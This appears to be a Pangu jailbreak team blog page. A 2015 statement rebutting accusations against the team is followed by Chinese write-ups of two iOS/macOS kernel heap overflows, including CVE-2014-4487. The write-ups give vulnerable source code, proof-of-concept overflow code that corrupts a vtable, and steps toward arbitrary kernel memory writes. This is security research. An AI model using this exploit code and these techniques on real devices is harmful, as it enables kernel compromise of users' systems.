Mar, 2015

Jailbreak Should not Tolerate Regional Discrimination

Since the first release of our untethered jailbreak tool Pangu 7 in June 2014, there have been many ridiculous rumors, discriminations, and vilifications on our team, especially from Stefan Esser (‏@i0n1c). As a team of “nerds”, we did not want to waste time on responding such useless things and hoped that eventually these things would stop after a while. We put 100% efforts on developing new jailbreaks for iOS 8 and successfully released Pangu 8 roughly a month after iOS 8 was released.

We could ignore the increasingly unfunny and ridiculous comments on our team, but cannot bear the racist comments from Stefan Esser in his recent talk at Syscan, which deliberately separate the jailbreak community with “Chinese” and “Western” labels and are full of morbid imaginations. In fact, many well-known iOS “Western” hackers including comex and P0sixninja are visiting Beijing, China today for a mobile security summit.

Apparently, the Pangu team cannot represent all Chinese jailbreak developers. We hereby just want to clarify the rumors, discriminations, and vilifications on our team.

The financial sponsorship of the Pangu team is mainly used to cover the cost of developing jailbreak tools

The “1 million USD” rumor was first posted when evasi0n 7 was released.

For us, our sponsorship is mainly used to support the development of jailbreak tools, cover the cost of software testing, and facility the download servers, etc. Note that, to make our untethered jailbreak tool reliable, we need to test all hardware models from iPhone 4s to iPhone 6 Plus, from iPad 2 to iPad Air, all iOS versions from 7.1 to 8.1. The sponsorship is also used to purchase all kinds of iOS devices for the testing purpose. But anyway, we are also wondering where the “1 million USD” is, LOL.

The Pangu team does not buy vulnerabilities, never and ever

In the first version of Pangu 7, among a number of vulnerabilities exploited in Pangu 7, we used the kernel information leaks discussed in Stefan Esser’s training course which have no NDA for the training. Also, it’s said that the vulnerability was already spreaded in a small range. So we leveraged the vulnerability in order to save our own vulnerability for next jailbreaks. But after receiving Stefan Esser’s criticism, we immediately released a new version of the jailbreak tool in which we replaced the vulnerability with our own vulnerability.
We have the ability and knowledge to continue to find more vulnerabilities and develop untethered jailbreak tools. We are very confident that we do not need to buy any vulnerability.

The Pangu team did not use any stolen/leaked enterprise certificates

In Pangu 7 and Pangu 8, we leveraged expired enterprise certificates to initial the jailbreaking process. We are very glad that some of jailbreak fans donated their own expired enterprise certificates to us. On the other hand, an enterprise certificate only costs a few hundreds dollars. We don’t see any reason to steal an enterprise certificate.

Feedback to the community

We learned a lot from previous jailbreak tools and the jailbreak community. We also want to share our knowledge with the community. That’s why we presented the details of our techniques at Syscan360 2014, POC 2014, and CanSecWest 2015. We also have many blogs discussing patched vulnerabilities in iOS kernels at

In addition, we closely worked with Saurik, the developer of Cydia, to make Cydia work on iOS 8. We hope jailbreak users would like our efforts.

We did obfuscate the code of our jailbreak tools, but it is mainly to prevent the jailbreak exploits from being used, and prevent Apple from easily understanding and fixing the vulnerabilities. So far it really worked.

With the every release of untethered jailbreaks, we always see similar nonsense comments from certain people. We felt very sad for wasting time on writing such a non-technical article. In our future talks at any security conference, we will only focus on technical stuff to respect all attendees, rather than wasting their time with balderdash. While some people run training courses based on iDevices jailbroken by public tools, jailbreak tool developers release tools for free and share the details of tools for free.

Yes, we are Chinese. We are grateful to the jailbreak community, and we are also proud of being a member of the jailbreak community and being able to contribute to the community. We were so excited that Pangu 7 and Pangu 8 were downloaded by many millions of times from all over the world. We hope the jailbreak community should not judge a work for its developers’ race, creed, color, or religion.

Finally, we will continue to put efforts on pure, technical research, and try our best to contribute to the security community in future. This is our final response to these comments.


The Pangu Team
March 27, 2015.

IOHIDSecurePromptClient::injectStringGated Heap Overflow


update – 漏洞发现者博客



IOExternalMethod *
IOHIDSecurePromptClient::getTargetAndMethodForIndex(IOService ** targetP, 
                                                    UInt32 index)
        // 12: kIOHIDSecurePromptClient_injectString
        { NULL, (IOMethod)&IOHIDSecurePromptClient::injectStringMethod, kIOUCStructIStructO, kIOUCVariableStructureSize, 0 },       

injectStringMethod -> injectStringGated 函数中将输入的参数拷贝到缓冲区时没有对长度做任何检查,从而会导致堆溢出:

IOHIDSecurePromptClient::injectStringGated(void * p1, void * p2, void * p3 __unused,void * p4 __unused)
    IOReturn result = kIOReturnBadArgument;
    IOHIDSecurePromptClient_RawKeystrokeData * dummyRawData = NULL;
    UTF32Char *string = (UTF32Char*)p1;
    intptr_t length = (intptr_t)p2 / sizeof(UTF32Char);
    vm_size_t dummyDataSize = length * sizeof(IOHIDSecurePromptClient_RawKeystrokeData);


    dummyRawData = (IOHIDSecurePromptClient_RawKeystrokeData*)IOMalloc(dummyDataSize);
    memset(dummyRawData, 0xff, dummyDataSize);

    // _reserved->rawKeystrokes是在IOServiceOpen的时候分配的堆内存,在这里拷贝的时候没有检查输入的length
    __InsertBytes(_reserved->rawKeystrokes, _reserved->insertionPoint, _reserved->stringLength, string, length,  sizeof(UTF32Char));
    __InsertBytes(_reserved->unicode, _reserved->insertionPoint, _reserved->stringLength, dummyRawData, length,  sizeof(UTF32Char));
    __EraseMemory(string, length * sizeof(UTF32Char));
    _reserved->insertionPoint += length;
    result = kIOReturnSuccess;


_reserved->rawKeystrokes的初始化在 initWithTask -> ensureBufferSize 函数中:

IOHIDSecurePromptClient::initWithTask(task_t owningTask, 
                                      void* security_id,
                                      UInt32 type,
                                      OSDictionary * properties)

    // initially we allow for a 32 character password but will grow it if needed
    require_noerr(ensureBufferSize(32), init_error);


IOHIDSecurePromptClient::ensureBufferSize(UInt32 size)

    // newSize = size = 32
    // round size up to next power of two
    newSize |= newSize >> 1;
    newSize |= newSize >> 2;
    newSize |= newSize >> 4;
    newSize |= newSize >> 8;
    newSize |= newSize >> 16;

    result = kIOReturnNoMemory;
    require(newSize < 1024, finished);

    newBufferSize = newSize * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    // newBufferSize = 32*12 = 384 分配的堆在kalloc.512的zone里
    newBuffer = (UInt8*)IOMalloc(newBufferSize);
    require(newBuffer, finished);
    newKeystrokeOffset = newBuffer + newSize * sizeof(UTF32Char);
    memcpy(newBuffer, _reserved->unicode, _reserved->stringLength * sizeof(UTF32Char));
    memcpy(newKeystrokeOffset, _reserved->rawKeystrokes, _reserved->stringLength * sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    oldBuffer = (UInt8*)_reserved->unicode;
    oldBufferSize = _reserved->bufferLength * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    _reserved->unicode = (UTF32Char*)newBuffer;
    // _reserved->rawKeystrokes 被设置为 newBuffer+32*4 的位置
    _reserved->rawKeystrokes = (IOHIDSecurePromptClient_RawKeystrokeData*)newKeystrokeOffset;
    _reserved->bufferLength = newSize;
    newBuffer = NULL;
    result = kIOReturnSuccess;


攻击代码中的利用思路:通过heap风水使newBuffer正好分配在一个IOUserClient对象(同样在kalloc.521)的前面,那么通过调用injectStringGated溢出8字节就可以修改之后对象的vtable,从而获取代码执行的可能。注意传入的参数对象长度是 512-32*4+size_to_overwrite(demo代码中为8字节vtable地址) = 384+8

int main(int argc, const char * argv[]) {

    uint64_t payload[1];
    void** vtable = alloc((void*)0x1337100000, 0x1000);
    payload[0] = (uint64_t)vtable;

    if (!lsym_heap_overflow((void*)payload, sizeof(payload)))
        printf("[-] Heap overflow unsuccessful.n");


char lsym_heap_overflow(char* data, size_t size) {

    size += 384;

    char* payload = malloc(size);

    memcpy(payload + 384, data, size - 384);

    if (size >= lsym_heap_overflow_bufsize()) {
        return 0;

    err = IOConnectCallMethod(conn, 10, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1

    if (err != KERN_SUCCESS)
        err = IOConnectCallMethod(conn, 12, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1

    if (err != KERN_SUCCESS) return 0;

    return 1;

CVE-2014-4487 – IOHIDLibUserClient堆溢出漏洞



    { //    kIOHIDLibUserClientGetElements
    (IOExternalMethodAction) &IOHIDLibUserClient::_getElements,
    1, 0,
    0, kIOUCVariableStructureSize


IOMemoryDescriptor *IOSharedDataQueue::getMemoryDescriptor()
    IOMemoryDescriptor *descriptor = 0;

    if (dataQueue != 0) {
        descriptor = IOMemoryDescriptor::withAddress(dataQueue, getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE, kIODirectionOutIn);

    return descriptor;


void IODataQueue::setNotificationPort(mach_port_t port)
    mach_msg_header_t * msgh = (mach_msg_header_t *) notifyMsg;

    if (msgh) {
        bzero(msgh, sizeof(mach_msg_header_t));
        msgh->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
        msgh->msgh_size = sizeof(mach_msg_header_t);
        msgh->msgh_remote_port = port;



void IODataQueue::sendDataAvailableNotification()
    kern_return_t       kr;
    mach_msg_header_t * msgh;

    msgh = (mach_msg_header_t *) notifyMsg;
    if (msgh && msgh->msgh_remote_port) {
        kr = mach_msg_send_from_kernel_with_options(msgh, msgh->msgh_size, MACH_SEND_TIMEOUT, MACH_MSG_TIMEOUT_NONE);
        switch(kr) {
            case MACH_SEND_TIMED_OUT:    // Notification already sent
            case MACH_MSG_SUCCESS:
            case MACH_SEND_NO_BUFFER:
                IOLog("%s: dataAvailableNotification failed - msg_send returned: %dn", /*getName()*/"IODataQueue", kr);

sendDataAvailableNotification -> mach_msg_send_from_kernel_with_options -> ipc_kmsg_get_from_kernel 函数中存在一个内存拷贝的操作,通过精心构造数据控制port指向的内容,可以转换成任意的内存写的利用

    mach_msg_header_t   *msg,
    mach_msg_size_t size,
    ipc_kmsg_t      *kmsgp)

    dest_port = (ipc_port_t)msg->msgh_remote_port;

    msg_and_trailer_size = size + MAX_TRAILER_SIZE;

     * See if the port has a pre-allocated kmsg for kernel
     * clients.  These are set up for those kernel clients
     * which cannot afford to wait.
    if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {

        // 控制port的内容后可以控制kmsg
        kmsg = dest_port->ip_premsg;
        if (ikm_prealloc_inuse(kmsg)) {
            return MACH_SEND_NO_BUFFER;

        kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
        if (kmsg == IKM_NULL)
            return MACH_SEND_NO_BUFFER;

    // kmsg->ikm_header可控,msg就是notifyMsg结构,也可控,size也可控
    (void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);



  • 首先需要找到使用IOSharedDataQueue来处理数据的对象
  • 通过IOConnectSetNotificationPort设置内核port
  • 通过IOConnectMapMemory获取映射内存,从而可以修改notifyMsg中的port数据
  • 内核heap风水控制数据后修改port,当队列发生变化时触发漏洞,达到任意写内核内存的目的